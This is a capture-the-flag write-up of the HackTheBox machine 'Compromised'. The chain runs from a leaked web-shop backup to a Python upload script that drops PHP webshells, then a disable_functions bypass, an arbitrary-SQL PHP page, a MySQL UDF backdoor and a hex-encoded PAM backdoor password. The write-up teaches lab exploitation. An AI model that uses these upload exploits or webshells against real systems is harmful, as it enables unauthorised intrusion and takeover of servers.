HackTheBox Compromised - Writeup
OS: | Linux |
Release Date: | 09/12/2020 19:00 PM |
Points: | 40 |
Difficulty: | Medium |
~ User Part
Starting with a nmap scan, we see the usual two ports open, as on many other machines:
| ssh-hostkey:
| 2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
| 256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_ 256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: FD8AFB6FFE392F9ED98CC0B1B37B9A5D
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://10.129.11.34/shop/en/
/shop/admin
,
where credentials are required. Performing a gobuster
scan, we find another directory called backup:
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.207/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/14 14:39:47 Starting gobuster
===============================================================
/backup (Status: 301)
/shop (Status: 301)
/. (Status: 302)
(...)
===============================================================
2020/09/14 14:39:53 Finished
The backup directory holds a tar archive with a backup of the web shop. Unpacking it and analysing the files, we find two things:
shop/includes/library/lib_user.inc.php: //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $username . " Passwd: " . $password);
(...)
curl
:
def upload_file(session, url, token, name, content):
files = {
'vqmod': (name, content, "application/xml"),
'token': token,
'upload': (None,"Upload")
}
res = session.post(url + "?app=vqmods&doc=vqmods", files=files)
if res.status_code != 200:
print("[-] Error uploading file")
return False
return url + ("" if url.endswith("/") else "/") + "../vqmod/xml/" + name
session = requests.Session()
token = login(session, url, user, password)
payload = "<?php echo file_get_contents('/etc/php/7.2/apache2/php.ini'); echo phpversion();"
file_url = upload_file(session, url, token, "debug.php", payload)
print(session.get(file_url).text)
disable_functions
.
But the leaked php version 7.2.24-0ubuntu0.18.04.6
seems to be vulnerable to a bypass we found online.
We adapt this script to execute commands passed in GET parameters and upload the file:
<?php
pwn($_REQUEST['c']);
function pwn($cmd) {
(...)
}
exploit.py:(...)
payload = open('payload.php','r').read()
file_url = upload_file(session, url, token, "shell.php", payload)
print(file_url + '?c=')
/etc/passwd
file, we can see,
that the user mysql
has a shell, which is very unusual:
We can also find the mysql connection config in either the backup files or the live website (/shop/includes/config.inc.php). We need them for the next enumeration step: analyzing the mysql server. For this, we upload another php file, which will execute sql queries easily:
sql.php:<?php
error_reporting(E_ALL);
$link = mysqli_connect("localhost", "root", "changethis", "mysql");
if (!$link) {
die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")");
}
$res = mysqli_query($link, $_REQUEST["query"]);
if (!$res) {
die("Error executing query: " . mysqli_error($link));
}
while ($row = $res->fetch_assoc()) {
var_dump($row);
}
mysqli_close($link);
Now running some queries we can find some kind of backdoor:
["name"]=>
string(8) "exec_cmd"
["ret"]=>
string(1) "0"
["dl"]=>
string(11) "libmysql.so"
["type"]=>
string(8) "function"
}
SELECT exec_cmd(str)
query.
We are now able to write a public key, but note, that we have to upload the authorized_keys
file
with the previous RCE first, so that we can copy it via the mysql backdoor:
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
(...)
The found password can be used to log in to user sysadmin, and we are able to read the user flag:
# Root Part
For the root part, we first try to find some recently modified files using the find command. The needed file is well hidden, so I only focus on the file
2020-08-31 03:25:17.455991685 +0000 /lib/x86_64-linux-gnu/security/.pam_unix.so
(...)
pam_unix.so
, which really seems to be exactly the same, when looking at the md5sums.
We download the file using scp and inspect it with Ghidra
. Doing some short analysis, we find something strange in the generated
C-Code of pam_sm_authenticate:
(...)
char backdoor [15];
(...)
backdoor._0_8_ = 0x4533557e656b6c7a;
backdoor._8_7_ = 0x2d326d3238766e;
iVar2 = strcmp((char *)p,backdoor);
if (iVar2 != 0) {
iVar2 = _unix_verify_password(pamh,name,(char *)p,ctrl);
}
It seems, that we have found another backdoor, which allows access via a hardcoded password to any user. Decoding the hex-strings and reverse both of them, as the binary is little-endian, we get the following password, which we can use to log in to root and grab the flag:
+ Additional Notes
As the machine name already tells us, it showed a lot of possible backdoors, which includes:
- php backdoor using system()
- mysql backdoor using User-Defined Functions (UDF)
- pam backdoor using a modified shared object file (.so)